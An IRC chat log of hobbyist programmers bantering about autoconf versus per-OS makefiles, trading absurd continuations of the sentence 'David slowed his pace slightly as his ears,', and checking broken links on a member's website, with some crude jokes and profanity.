23:15:24 <ehird> and it's -framework OpenGL
23:15:32 <GregorR> I want to see an edited pic with somebody holding an N64 controller with three hands.
23:15:35 <pikhq> FireFly: Ugh; that silver banana controller looked painful.
23:15:39 <GregorR> And they should be having a lot of fun too.
23:15:49 <GregorR> (With their third arm just sticking out of their chest)
23:15:53 <pikhq> The PS3's only saving grace then would've been that it handles PS2 controllers plugged in via an adapter.
23:16:46 <AnMaster> ehird, and yes it was made for linux mostly
23:17:01 <AnMaster> you might want to send a patch to the author :)
23:17:38 <GregorR> Who will respond "OS X? Screw OS X!"
23:17:48 <pikhq> ehird: Would it kill them to use Autoconf?
23:18:04 <pikhq> (or something that similarly abstracts that stuff away)
23:21:07 <GregorR> Ha. Talking to ehird about autoconf. I think I'll leave now lest the fallout kills me.
23:21:49 <pikhq> Oh, right. He prefers the insane solution.
23:21:54 <pikhq> (in this case, per-OS Makefiles)
23:22:56 <AnMaster> GregorR, I would, except it would be a bit tedious!
23:23:39 <Warrigal> Memo to oerjan, re "is the topic accurate?": no.
23:24:11 <AnMaster> Warrigal, what is the topic supposed to be?
23:24:29 <Warrigal> Well, I originally set the topic to contain "David slowed his pace slightly as his ears,"
23:24:40 <Warrigal> Which is the first line of http://normish.org/ihope/dodadodidi/arson.txt.
23:24:58 <Warrigal> The topic is inaccurate in that what follows in the topic is not what follows in the text file.
23:25:05 -!- comex has quit (Remote closed the connection).
23:25:10 <AnMaster> Warrigal, and what is that file about
23:25:17 <Warrigal> The topic doesn't even have the comma after "ears".
23:25:30 <GregorR> Response time: 12 hours :P
23:26:03 <Warrigal> GregorR: now come up with a reasonable continuation that actually has a comma after "ears".
23:26:24 <Warrigal> AnMaster: yes. You know what arson is, don't you?
23:29:08 -!- GregorR has set topic: David slowed his pace slightly as his ears, which had been tingling painfully, burst forth off of his head, leaving two bleeding gashes. "Ouch," he sputtered, pulling hair wet with blood off of his scalp. But there was no time to bandage the wound, as he quickly regained his running stride as the pirate alligator bear mutants waddled after him. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
23:32:08 <GregorR> Or do I need to make it about arson, too?
23:34:53 <ehird> 23:21 pikhq: Oh, right. He prefers the insane solution.
23:34:53 <ehird> 23:21 pikhq: (in this case, per-OS Makefiles)
23:35:10 <lament> lytton context is gay.
23:35:21 <lament> lyttle lytton contest, on the other hand, is the shit.
23:35:33 <lament> http://adamcadre.ac/lyttle.html
23:35:54 <ehird> lament more like la shit
23:36:10 <pikhq> ehird: What do you prefer?
23:36:11 <ehird> lament: i like the lytton contest!
23:36:18 <ehird> pikhq: not using c :)
23:36:31 <pikhq> Ah, yes. The ignorant solution.
23:36:32 <ehird> but the current least horrible solution is per-OS makefiles. with the makefiles being as portable as possible.
23:36:40 <ehird> pikhq: no— c is just really shit and has a terrible environment around it
23:36:42 <lament> lyttle lytton is better
23:36:46 <pikhq> ... Per-OS makefiles.
23:36:48 <ehird> although why am I bothering; you're a c fanboy.
23:37:14 <lament> unlike the actual lytton contest, the lyttle lytton one is conducted by a guy who himself has a good sense of humour and is a professional writer
23:37:42 * pikhq wishes that ehird had ever had to deal with per-OS makefiles.
23:37:55 <ehird> GregorR: Can you scare pikhq by telling him cplof's makefiles are per-OS to a degree?
23:38:03 <ehird> I would enjoy that.
23:38:27 <GregorR> pikhq: cplof's Makefiles are per-OS to a degree.
23:38:27 <pikhq> I see configure.ac and Makefile.am.
23:38:38 <pikhq> GregorR: To what degree?
23:38:38 <GregorR> pikhq: More accurately, it has per-OS makefiles for OSes that don't support auto* :P
23:38:45 <ehird> when did it get autoconf?
23:38:49 <ehird> it didn't use to use auto*
23:38:55 <ehird> not when I worked on it
23:39:44 <GregorR> It had autoconf all along, you just used the GCC makefile :P
23:39:46 <pikhq> You realise that's what ./configure&&make&&make install generally means.
23:40:19 <pikhq> GregorR: Oh, those. For use where autoconf doesn't work.
23:41:29 <ehird> pikhq: anyway, I'm not interested in this argument because it is the nature of sysadmins to adore C, autohell, shell scripts and other absurdities
23:41:47 <pikhq> I don't adore Autoconf.
23:41:54 <GregorR> Warrigal: Another ending (people don't understand what 'comma not optional' means): David slowed his pace slightly as his ears began to slowly deform, but pressed on. He descended into the volcano, determined to save the man who created him.
23:42:13 <pikhq> I just think it's significantly better than per-OS makefiles or crazy Perl scripts or other such custom build systems.
23:42:26 <pikhq> (which of course it is)
23:43:21 * ehird poops over everyone who likes unix.
23:43:40 * pikhq watches ehird poop over himself
23:43:58 <pikhq> (you *do* like OS X, right?)
23:43:59 <ehird> pikhq: Unless you know something about my mind that I don't, nope.
23:44:10 <ehird> I tolerate OS X. I'm switching to Linux because it's a bit more tolerable.
23:44:58 <pikhq> I agree that UNIX, autotools, etc. aren't all that great. I just think you are *terrible* at suggesting improvements.
23:45:12 <ehird> So's your mom, and you don't argue with her.
23:45:17 <AnMaster> <Warrigal> AnMaster: yes. You know what arson is, don't you? <-- no
23:45:43 <ehird> AnMaster: Arson is when you put your arse on somebody.
23:45:53 <pikhq> (god, suggesting per-OS makefiles, what Autoconf replaced? *shudder*)
23:46:01 <GregorR> I'm gonna go back to my parent's basement to sulk.
23:46:07 <GregorR> (The above is goth poetry)
23:46:09 <AnMaster> Definitions of arson on the Web:
23:46:09 <AnMaster> malicious burning to destroy property; "the British term for arson is fire-raising"
23:46:09 <AnMaster> wordnet.princeton.edu/perl/webwn
23:46:14 <ehird> AnMaster: That's bullshit.
23:46:19 <ehird> It's when you put your buttocks on somebody.
23:55:05 -!- BeholdMyGlory has quit (Read error: 104 (Connection reset by peer)).
23:57:40 -!- BeholdMyGlory has joined.
00:02:24 <ehird> The most effective debugging tool is still careful thought, coupled with
00:02:24 <ehird> judiciously placed print statements.
00:02:25 <ehird> -- Brian W. Kernighan, in the paper Unix for Beginners (1979)
00:02:27 <ehird> (AnMaster, at this point, has a heart attack.)
00:03:00 <GregorR> Wouldn't it be cool if that wasn't /still/ true :P
00:03:26 <ehird> GregorR: I'm perfectly happy with it.
00:04:35 <GregorR> Hah, a your-mom-by-proxy :P
00:15:00 -!- Corun has quit (Read error: 104 (Connection reset by peer)).
00:15:16 -!- Corun has joined.
00:16:11 <GregorR> David slowed his pace slightly as his ears, protruding as they were, kept snagging on the foliage.
00:16:37 <ehird> David slowed his pace slightly as his ears, I mean tears, dripped down his face, as he wallowed in self-pity and killed himself.
00:18:59 -!- GreaseMonkey has joined.
00:20:26 <ehird> David slowed his pace slightly as his ears, attached to the slave he owns, twitched. "Master, I think there's a faggot around!" Then, a hamburger enveloped the world.
00:21:27 <ehird> David slowed his pace slightly as his ears, because when his ears slow their pace, you know it's for a reason.
00:22:28 <ehird> David slowed his pace slightly as his ears, the most reliable instrument he knows, beeped. Clearly his pacemaker was running too fast.
00:22:48 <ehird> Warrigal: Please do conform that these are good.
00:24:06 <ehird> David slowed his pace slightly as his ears, confused. Why, he wondered, did I turn into my ears?
00:27:54 <ehird> David slowed his pace slightly as his ears, and suddenly his pace became erratic.
00:27:58 <ehird> ("To delay; retard.")
00:28:41 <GregorR> David slowed his pace slightly as his ears, still in the process of being reattached, began to tear. "Hey," his surgeon yelled, "I'm trying to reattach your ears here! Stop it!"
00:29:05 <ehird> David slowed his pace slightly as his ears, his grammar leading nowhere.
00:31:15 <AnMaster> David slowed his pace slightly as his ears, eyes and nose all sensed great danger nearby
00:31:24 <AnMaster> anyone used the comma that way yet?
00:31:32 <ehird> David slowed (his pace slightly) as (his ears, in a vat of chocolate); only his less slightly paces can go faster.
00:31:40 <ehird> David slowed his pace slightly as his ears, in a vat of chocolate; only his less slightly paces can go faster.
00:31:50 <GregorR> "David slowed his pace slightly as his ears, nose, mouth, and eyes spontaneously exploded."
00:32:05 <pikhq> He accidentally the verb.
00:32:07 <augur> does anyone know what class of grammars you get when you add synthesizable attributes to regular expressions?
00:32:14 <pikhq> He accidentally the word.
00:32:15 <Warrigal> David slowed his pace slightly as his ears, which are more selective about the direction the sound comes from than the average pair of ears, picked some conversation through a window of the building he was passing.
00:32:20 <ehird> David slowed his pace slightly as his ears, is this dangerous?
00:32:30 <GregorR> AnMaster: You did that at the same time as somebody used it that way via AIM at me :P
00:32:35 <pikhq> augur: Yes, but I'm not that person.
00:32:40 <Warrigal> Which is the original and therefore boring.
00:33:17 <AnMaster> David slowed his pace slightly as his ears, firmly attached to his head, heard a lot of people talking about his ears.
00:33:31 <lament> Dumbo slowed his pace slightly as his ears, exhausted during the long flight, faltered in the wind.
00:33:50 <augur> i know that with attributes you can get /some/ context sensitive behavior
00:33:53 <ehird> David slowed his pace slightly as his ears, srae sih sa ylthgils ecap sih dewols divad.
00:34:27 <GregorR> David slowed his pace slightly as his ears, which due to mutation were on his feet, began to hurt.
00:35:11 <Warrigal> It seems to me that a mutation like that would simply add more ears, not move the existing ears.
00:35:21 <lament> Dumbo slowed his pace slightly as his ears, \m/ \m/
00:35:32 <Warrigal> It also seems to me that ears generally don't burst forth from people's heads.
00:35:43 <pikhq> David slowed his pace slightly as his ears, overlords of all, had commanded him to.
00:36:23 <pikhq> Warrigal: Not even bursting forth fully grown, as per Greek mythology?
00:36:42 <AnMaster> Warrigal, where, except on the head, would ears be?
00:36:51 <ehird> David slowed his pace slightly as his ears, the grammar-distorting other-worldly things they are, caused a person to say "Hi, David Slowed! Your pace is as slightly as your ears."
00:37:00 <Warrigal> AnMaster: GregorR mentioned ears being on feet.
00:37:11 <Warrigal> David slowed his pace slightly as his ears, because it would have been impossible for him to slow his pace more than his ears'.
00:37:12 <ehird> David Slowed, his pace slightly as his ears,.
00:37:28 <GregorR> Holy crap, everything from "<pikhq> He accidentally the verb." to "<augur> D:" hit me at once.
00:37:41 <GregorR> And I haven't received anything since then, which I suspect have been sent.
00:37:50 <ehird> GregorR: Aww, you're missing my hilarious one.
00:38:06 <pikhq> GregorR: Holy *CRAP*, man. You have more lag than I. And my packets GO TO SPACE AND BACK.
00:38:21 <AnMaster> * Ping reply from pikhq: 3.27 second(s)
00:38:32 <AnMaster> haven't gotten a reply from GregorR yet
00:38:32 <pikhq> Sounds about right.
00:38:45 <Warrigal> I wonder how my packets get from here to normish.org and back within a few milliseconds.
00:38:57 <AnMaster> <GregorR> AnMaster: Hah, nice'n. <-- which one?
00:39:18 <Warrigal> Specifically, about 38 milliseconds.
00:41:08 <ehird> GregorR: APPRECIATE MY MOST RECENT ONE :<
00:41:40 <AnMaster> still no ping reply from GregorR
00:42:31 <pikhq> AnMaster: Crap, man.
00:42:52 <GregorR> David slowed his pace slightly as his ears, \ David slowed his pace slightly as his ears, \ Oh David slowed his pace, \ yes David slowed his pace, \ Oh David slowed his pace slightly as his ears!
00:43:09 <ehird> 00:36 ehird: David slowed his pace slightly as his ears, the grammar-distorting other-worldly things they are, caused a person to say "Hi, David Slowed! Your pace is as slightly as your ears." 00:37 ehird: Geddit? 00:37 ehird: David Slowed, his pace slightly as his ears,.
00:43:11 <ehird> APPRECIATE GregorR >:|
00:43:16 <ehird> I spent ages on that.
00:45:01 <Warrigal> Protip: David looks something like this: http://freefall.purrsia.com/ff1800/fc01738.png
00:45:17 <pikhq> Good to know. Also, <3 Freefall.
00:45:25 <Warrigal> But male, differently colored, a lot younger, and so on.
00:46:00 <Warrigal> As far as I can tell, nobody has yet interpreted "David slowed his pace slightly as his ears," as referring to sex.
00:46:13 <GregorR> * Ping reply from ehird: ? second(s)
00:46:14 <GregorR> * Ping reply from AnMaster: ? second(s)
00:46:23 -!- GregorR has quit ("Leaving").
00:46:23 <ehird> David slowed his pace slightly as his ears, as he is of a rather odd species, orgasmed.
00:46:39 -!- GregorR has joined.
00:47:01 * GregorR hopes he's less lagged this time.
00:47:15 <GregorR> * Ping reply from ehird: ? second(s)
00:47:17 <GregorR> * Ping reply from AnMaster: ? second(s)
00:47:25 <GregorR> I don't know what that means :P
00:47:39 <ehird> 00:43 ehird: 00:36 ehird: David slowed his pace slightly as his ears, the grammar-distorting other-worldly things they are, caused a person to say "Hi, David Slowed! Your pace is as slightly as your ears." 00:37 ehird: Geddit? 00:37 ehird: David Slowed, his pace slightly as his ears,.
00:47:41 <ehird> 00:43 ehird: APPRECIATE GregorR >:|
00:47:43 <ehird> 00:43 ehird: I spent ages on that.
00:47:46 <AnMaster> * Ping reply from GregorR: 356.19 second(s)
00:47:48 <AnMaster> * Ping reply from GregorR: 199.91 second(s)
00:48:17 <GregorR> AnMaster: That seems about right >:(
00:48:19 <GregorR> ehird: That's pretty good :P
00:48:24 <GregorR> ehird: Wish 'slightly' was an adjective :P
00:48:26 <ehird> GregorR: Now read the tunes.org logs :P
00:48:42 <AnMaster> <AnMaster> <GregorR> AnMaster: Hah, nice'n. <-- which one?
00:48:59 <GregorR> <AnMaster> David slowed his pace slightly as his ears, firmly attached to his head, heard a lot of people talking about his ears.
00:49:27 <ehird> David slowed his pace slightly as his ears, ears, oh such wonderful ears, and he slowed his pace slightly.
00:50:41 <ehird> AnMaster: which are we talking about?
00:50:43 <ehird> [[David slowed his pace slightly as his ears, the grammar-distorting other-worldly things they are, caused a person to say "Hi, David Slowed! Your pace is as slightly as your ears."]]?
00:51:04 <ehird> The parse of the start there is [[David Slowed, his pace slightly as his ears,]]
00:51:39 <AnMaster> <ehird> David slowed his pace slightly as his ears, ears, oh such wonderful ears, and he slowed his pace slightly.
00:51:55 <ehird> AnMaster: What's unparsable about it?
00:52:22 <AnMaster> ehird, "as his ears, ears, oh such wonderful ears, and he slowed his pace slightly"
00:52:43 <AnMaster> ehird, I fail to see how it works.
00:52:59 <AnMaster> ehird, Me = Not native speaker.
00:53:41 <AnMaster> ehird, basically I don't see how the construct "foo y as x, x, oh x, and y"
00:53:43 <ehird> AnMaster: I've spoken to tons of native speakers and none of them have such troubles with grammar as you do. Incidentally, hen I excused someone for being a non-native speaker, you said "I'M non-native and I understood it!"
00:54:43 <lament> David slowed his pace slightly as his ears, but wait, gentle reader, because this story really began long before, on a dark, stormy night...
00:54:58 <AnMaster> ehird, but the one "David Slowed, his pace slightly as his ears" seems to be "David Slowed" as a name.
00:55:09 <ehird> And it's saying that his pace was as slightly as his ears.
00:55:29 <ehird> Learn English, mmkay?
00:55:42 <AnMaster> ehird, Learn Swedish and then we will talk
00:55:48 <lament> David slowed his pace slightly as his ears, my god, why am I writing this junk, I repeat, his ears heard the dying cries of his family, seriously I shouldn't be writing novels, this is just a desperate attempt.
00:55:58 <ehird> AnMaster: I'm not the one in a Swedish-speaking channel, asking what constructs mean every 5 seconds.
00:56:00 <Warrigal> "David slowed his pace as slightly as his ears, ears, oh such wonderful ears, and he slowed his pace slightly."
00:57:06 <GregorR> ehird: Yeah, slightly is not an adjective :P
00:57:14 <ehird> GregorR: Sure it is.
00:57:29 <AnMaster> ehird, not every 5 seconds. Try to exaggerate less often. It doesn't fit you.
00:57:38 <GregorR> It's not an adjective just because you decree that it is :P
00:57:44 <ehird> AnMaster: Funny, that; I don't give a shit.
00:57:57 <ehird> GregorR: you're a poop.
00:58:06 <Warrigal> Indeed, "slightly" is not an adjective.
00:58:33 <AnMaster> then what is "slightly"? Adverb?
00:59:29 <GregorR> David slowed his pace slightly as his ears, tingling slightly due to the arrow through his head, went numb.
01:00:10 <ehird> Can "ears" be construed as a verb?
01:00:57 <lament> David slowed his pace slightly as his ears, load as they were, went unheeded. "Ear, ear!", he tried again.
01:00:59 <Warrigal> I'm thinking "old" cannot be used as a singular noun.
01:01:07 <ehird> Warrigal: So "his ears" would be David earing the boat, instead of the old.
01:01:22 <Warrigal> The synaesthetic ears the boat.
01:01:24 <ehird> David slowed his pace slightly as his ears, uh, what was it, oh yeah, the boat.
01:01:27 <GregorR> David slowed his pace slightly as his ears, bottled in formaldehyde, caught his eye. "Oh," he thought, "to be alive again."
01:01:35 <Warrigal> There, "synaesthetic" is both a singular noun and an adjective.
01:02:19 <GregorR> David slowed his pace slightly as his ears, on a boat, were on a boat.
01:02:34 <Warrigal> GregorR: write something that puts everything said beginning with "David slowed his pace slightly as his ears," on a web site that lets people vote them up and down.
01:02:44 <ehird> David slowed his pace slightly as his ears, jealous as they were of his nautical-themed pashmina afghan, jumped off the boat.
01:02:56 <GregorR> Warrigal: I actually considered that, then decided it was too stupid :P
01:03:34 <pikhq> This coming from a man that lets you vote on his hat.
01:04:05 <ehird> GregorR should give me tacit endorsement for, I think, referencing the same thing as him.
01:05:48 <AnMaster> GregorR, there is still an x for one hat?
01:06:40 <AnMaster> GregorR, ouch, what one was it?
01:07:01 <lament> David slowed his pace slightly as his ears, powerless to resist the inexorable pull of the black hole, disappeared beyond the event horizon with a brilliant flash of light.
01:07:02 <GregorR> It's just at home somewhere, probably not lost permanently.
01:07:08 <Warrigal> I'm totally going to send GregorR a top hat with a hatband of color 7a9ec0.
01:07:08 <GregorR> lament: Haaaaaaaaaaaaaaahahah
01:07:20 <ehird> lyttle lytton + david's ears.
01:07:55 -!- inurinternet has quit (No route to host).
01:08:27 <AnMaster> GregorR, comparing it seems to be http://codu.org/hats/HighlandsTravellingHat-med.jpg ?
01:08:28 <Warrigal> ehird: the opening like "David slowed his pace slightly as his ears," reminded me of the Bulwer-Lytton Fiction Contest the moment I saw it.
01:09:02 <Warrigal> Let's submit the best of these to the BLFC, shall we?
01:09:09 <ehird> David slowed his pace slightly as his ears, washed away in the sea as they were, bobbed along. He was unaware of this event.
01:09:14 <ehird> Warrigal: No, the lyttle one.
01:09:16 <GregorR> AnMaster: Yeah, suffice to say I didn't know the proper name at the time :P
01:09:18 <ehird> http://adamcadre.ac/lyttle.html
01:09:23 <AnMaster> GregorR, link on http://codu.org/pvcinstruments/ is broken
01:10:08 <ehird> I like my most recent one :(
01:10:22 <GregorR> AnMaster: Bleh, stupid pages disappearing :(
01:10:29 <GregorR> Hold on, I'm actually making this stupid site :P
01:10:54 * AnMaster enters http://codu.org in klinkstatus
01:11:20 <ehird> Status of my klinks.
01:11:52 <AnMaster> ehird, kno, kit kis kjust kkde kway kof kdoing kit
01:12:02 <ehird> AnMaster: you're spidering all of GregorR's site?
01:12:05 <ehird> that's kind of dicky.
01:12:13 <AnMaster> ehird, no, just one step recursive
01:12:51 <GregorR> ehird: Google spiders my site all the time :P
01:12:54 <AnMaster> ehird, so first one, and any external links from them
01:13:09 <AnMaster> anyway klinkstatus locked up (#!"
01:13:43 <AnMaster> GregorR, broken internal links at least
01:15:08 <AnMaster> GregorR, something linked to http://codu.org/masterpiecemachine/lib/midi.php
01:16:04 <AnMaster> GregorR, http://codu.org/sitemap/ links to inaccessible files
01:16:13 <AnMaster> "Warning: Missing argument 2 for getTitle(), called in /var/www/sitemap/gwsitemap.php on line 110 and defined in /var/www/sitemap/gwsitemap.php on line 180"
01:16:23 <GregorR> Yeah, I probably need to get rid of that.
01:17:04 <AnMaster> GregorR, not at all, useful to find secret files
01:17:35 <GregorR> At the very least, I need a much better piece of software for it.
01:18:36 -!- Corun has quit.
01:19:29 <GregorR> I think I should just take bash.org's software :P
01:19:46 -!- inurinternet has joined.
01:20:13 <AnMaster> GregorR, image links broken on http://codu.org/pvcinstruments/baritonetrombute.php
01:20:58 <GregorR> And I know why, I got rid of that album software :P
01:21:28 <AnMaster> GregorR, just add the images back
01:21:52 <GregorR> Doing other shtuff right now :P
01:22:03 <ehird> 01:19 GregorR: I think I should just take bash.org's software :P
01:22:09 <ehird> wtf has bash got to do with that :P
01:22:47 <AnMaster> GregorR, http://codu.org/projects/trac/oblisk/. Logo area links to http://oblisk.codu.org/projects/trac/oblisk/ which is 404
01:23:57 <AnMaster> GregorR, http://codu.org/projects/trac/directnet/ links to http://software.senko.net/projects/cyfer/ Invalid domains
01:24:25 <AnMaster> and to http://swox.com/gmp/ which is 404
01:24:49 <AnMaster> that is a seriously old URL for libgmp
01:25:04 <ehird> oblisk is seriously old.
01:25:50 <AnMaster> ehird, still it takes like 3 clicks and waiting 5 minutes to get the results from a link checker app
01:29:33 <ehird> fizzie: do you know stuff about ipv6? iirc you do.
01:36:56 -!- upyr[emacs] has quit (Remote closed the connection).
01:37:32 <ehird> Things, robots;; action, things!!!
01:40:40 <ehird> GregorR: Step 1 - stop using SQL. Step 2 - stop using PHP. Step 3 - nirvana.
01:41:00 <GregorR> What database language do you suggest X_X
01:41:16 <ehird> GregorR: What part of this toy you're creating involves relational things?
01:41:31 <ehird> GregorR: Indeed, isn't an entry just (text,points)?
01:41:37 <ehird> You just want to store objects. Do that.
01:41:40 <GregorR> Keeping track of the votes such that an IP can't vote more than once.
01:41:50 <ehird> GregorR: That is not relational.
01:42:03 <pikhq> GregorR: ehird, of course, suggests using CSV. He also suggests using Java.
01:42:16 <ehird> pikhq: Fuck off, that's a wild, bullshit assumption.
01:42:31 <pikhq> See? That's his recommendation!
01:46:34 <ehird> GregorR: link to your rendered toccata?
01:46:51 <GregorR> Oh, OUT by my MIDI you mean?
01:46:57 <GregorR> http://codu.org/music/auto/Onerously%20Uptight%20Toccata.ogg
01:53:47 -!- FireFly has quit ("Later").
01:58:06 -!- BeholdMyGlory has quit (Remote closed the connection).
02:03:33 -!- Corun has joined.
02:17:07 <GregorR> http://codu.org/davidslowed/
02:18:51 <GregorR> Takes me too long to write web sites I guess :P
02:19:36 * pikhq vomits at Win32 some more.
02:19:53 <pikhq> Their replacement for int argc, char **argv is LPCSTR lpCmdLine.
02:20:03 <pikhq> ... Which is of type const char long**.
02:20:17 <GregorR> I guess it would be good if this told you when it added one :P
02:40:28 <GregorR> Whoops, screwed it up a bit ;P
02:51:13 <GregorR> I like how when I finally get it together, nobody cares any more :P
02:55:17 <pikhq> Why would we care?
02:55:38 <GregorR> The intarwebs made me do it!
03:09:22 <pikhq> David slowed his pace slightly as his ears, forcing GregorR to do it.
03:18:51 -!- Tidus34 has joined.
03:24:08 <Warrigal> You know, there's a whole set of these.
03:24:22 <Warrigal> Arthur was about to enter the bedroom when he noticed something strange.
03:24:22 <Warrigal> David slowed his pace slightly as his ears,
03:24:22 <Warrigal> It was a simple operation: David would open the door quietly, sneak
03:24:22 <Warrigal> "If you don't know what to say, say it. If you do know what to say, don't."
03:24:22 <Warrigal> Chris to Arthur at his computer: I suppose you're too busy to help load the car?
03:24:26 <Warrigal> Arthur: Does this David have parents?
03:24:28 <Warrigal> Arthur said, "You know, there's this problem I've been trying to solve for quite a while. Maybe you could help me with it."
03:24:31 <Warrigal> David tried to rest his elbow on the piano, but was surprised
03:32:16 <lament> A way a lone a last a loved a long the David slowed his pace slightly as his ears,
03:32:28 <Warrigal> Well, they're from the files in http://normish.org/ihope/dodadodidi/.
03:37:25 -!- Tidus35 has quit (Read error: 110 (Connection timed out)).
03:37:26 -!- Tidus34 has changed nick to Tidus35.
03:40:13 <augur> over toasted my tunnbröd
03:41:46 <GregorR> http://codu.org/davidslowed/?id=24
03:52:36 <Warrigal> Is the one in the topic on that side?
03:53:34 <GregorR> http://codu.org/davidslowed/?id=1
04:10:51 <GregorR> (11:10:32 PM) <>: This is terrible! I can't find any Ahmadinejad porn.
04:16:37 -!- Corun has quit (Read error: 110 (Connection timed out)).
05:32:25 -!- Gracenotes has changed nick to Floor_Feline.
06:00:31 <pikhq> GregorR: Poor rule 34.
06:06:04 -!- GregorR has quit (Remote closed the connection).
06:06:14 -!- GregorR has joined.
06:06:38 <GregorR> I now present to you, "Gregor is a moron", a play in four acts.
06:06:40 <GregorR> <GregorR> EgoBot: SPEAK TO ME
06:06:46 <GregorR> <GregorR> codu.org seems to have disapperated >_>
06:06:48 <GregorR> <GregorR> ............ either that, or it's my Internet connection that's down >_>
06:34:32 -!- Tidus35 has quit (" HydraIRC -> http://www.hydrairc.com <- Chicks dig it").
06:52:19 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!").
07:08:58 -!- kar8nga has joined.
07:26:06 -!- coppro has quit ("The only thing I know is that I know nothing").
07:30:35 -!- MigoMipo has joined.
07:39:00 -!- kar8nga has quit (Remote closed the connection).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:47:50 -!- tombom has joined.
08:54:43 -!- M0ny has joined.
09:00:19 -!- oerjan has joined.
09:10:36 -!- jix_ has joined.
09:19:21 -!- tetha has quit (Read error: 60 (Operation timed out)).
09:21:24 -!- tetha has joined.
09:24:40 -!- jix has quit (Read error: 113 (No route to host)).
09:35:33 -!- Hiato has joined.
10:00:07 -!- Hiato has quit ("Leaving").
10:00:58 -!- FireFly has joined.
10:16:01 -!- immibis has joined.
10:16:33 * immibis wonders if myndzi has fixed the bug yet that is triggered like this: immibisf
10:17:53 * oerjan wonders if myndzi is ignoring immibis
10:17:53 * myndzi wonders if oerjan is ignoring immibis
10:18:27 * immibis wonders if myndzi is ignoring him
10:18:27 * myndzi wonders if immibis is ignoring him
10:18:39 * myndzi * mymyndziyndzmyndzimmibimyndzimmibisf
10:18:52 * immibis * myndzi immibisf immibis immibis immibis immibisf
10:18:53 * myndzi * immibis myndzimmibimyndzimmibimyndzimmibimyndzimmibisf
10:18:53 * oerjan thinks myndzi requires more than just oerjanf
10:18:54 * myndzi thmyndziyndzmyndzierjanf
10:19:03 * oerjan thinks myndzi requires more than just oerjanfg
10:19:03 * myndzi thmyndziyndzmyndzierjanfg
10:19:08 * oerjan thinks myndzi requires more than just oerjanfgh
10:19:23 * oerjan thinks myndzi requires more than just oerjanfghi
10:19:32 * myndzi * myndziyndzif immibis
10:19:52 * immibis * myndzifimmibisf myndzi immibis
10:19:53 * myndzi * mymyndziyndzifimmibisf immibis myndzi
10:20:08 -!- immibis has changed nick to d.
10:20:10 <M0ny> [11:19] * myndzi * mymyndziyndzifimmibisf immibis myndzi
10:20:17 -!- d has changed nick to fgh1.
10:20:46 * fgh1 * myndzi * fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f fgh1f
10:20:46 * myndzi thinks immibis * myndzmyndzigh1f myndzigh1f myndzigh1myndziyndzmyndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f myndzigh1f
10:21:18 * fgh1 wonders if it would be possible to get myndzi auto-kicked for flooding like that
10:21:23 -!- fgh1 has changed nick to immibis.
10:26:58 -!- puzzlet_ has joined.
10:27:38 -!- puzzlet has quit (Remote closed the connection).
10:30:37 -!- immibis has left (?).
10:48:52 -!- KingOfKarlsruhe has joined.
10:49:08 -!- oerjan has quit ("leaving").
10:51:44 -!- ais523 has joined.
11:01:47 -!- upyr[emacs] has joined.
11:05:46 -!- ais523 has quit (Read error: 104 (Connection reset by peer)).
11:06:05 -!- ais523 has joined.
11:45:24 -!- ais523 has quit (Read error: 104 (Connection reset by peer)).
12:07:21 -!- ais523 has joined.
12:24:48 -!- rodrigo has joined.
12:34:35 -!- BeholdMyGlory has joined.
13:01:05 -!- rodrigo has quit ("WeeChat 0.2.6.3").
13:12:23 -!- FireFly has quit ("Later").
14:10:25 -!- comex has joined.
14:10:47 <comex> well, I had to try
14:11:00 <ais523> I think we've scared myndzi off
14:15:54 -!- Sgeo has joined.
14:51:54 -!- Corun has joined.
14:54:47 <ais523> oh, I was wondering for a moment if Myndzi had just set the script not to respond to nomic players :)
14:55:25 -!- ktne has joined.
14:55:40 -!- ktne has left (?).
14:56:16 <GregorR> The problem is that myndzi's bot assumes mIRC-style, so if your nick is shorter than six characters, and you put it at the beginning of the line, it can't fit its response in.
15:05:19 <puzzlet_> \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/
15:05:19 <myndzi> /´\ >\ >\ /| /< /< /< |\ |\
15:05:51 <ais523> ok, what's with the topic?
15:05:58 <ais523> if that isn't ehird's work, I'd be surprised
15:06:03 <ais523> although not completely surprised
15:07:11 <GregorR> Already my fine work is being stolen in ehird's name.
15:07:49 <ais523> and did you write it by hand, or by bot?
15:08:15 <GregorR> It started with Warrigal posting "David slowed his pace slightly as his ears,", or more accurately catting it out of some file
15:08:28 <GregorR> Then he put that in the topic (including comma)
15:08:32 <GregorR> I merely .... finished it.
15:08:43 <GregorR> The ultimate result is http://codu.org/davidslowed/
15:12:18 <GregorR> http://codu.org/davidslowed/?id=24 // probably my favorite
15:30:15 -!- ais523 has quit (Remote closed the connection).
15:55:01 <Slereah> "But on account of its obvious arbitrariness, it is probably without any real significance."
15:55:19 <Slereah> Fact : people where saying Iota was totally not awesome for almost a hundred years
16:05:09 <Slereah> "The expression thus assumes the form FU"
16:11:22 <Slereah> Apparently, with combinators S, K and Z, you can do it without parentheses.
16:13:05 <Slereah> "By means of C, Z, and S, therefore, every formula of logic can be written without parentheses as a simple sequence of these signs and can therefore be characterized completely by a number written to the base 3."
16:25:41 -!- inurinternet has quit (Success).
16:31:04 <Slereah> And here it is : http://verrahrubicon.free.fr/Combinator.pdf
16:31:09 <Slereah> If you see typos tell me :3
16:31:41 <AnMaster> GregorR, what is this "mirc style" you mentioned?
16:32:52 -!- GregorR-L has joined.
16:32:55 <AnMaster> <GregorR> The ultimate result is http://codu.org/davidslowed/ <-- didn't you say doing that was too silly?
16:33:45 <AnMaster> it just jumps to the bottom of the page
16:34:35 <GregorR-L> (I should probably use the bash.org style, but this was quicker and easier)
16:35:31 <AnMaster> GregorR-L, did you import the ones from the channel?
16:36:30 <AnMaster> GregorR-L, why does it need to open a popup at all?
16:36:49 <GregorR-L> I didn't want to navigate away from the site as-is, and I reaaaaaaaaally didn't want to get into XHR sh**
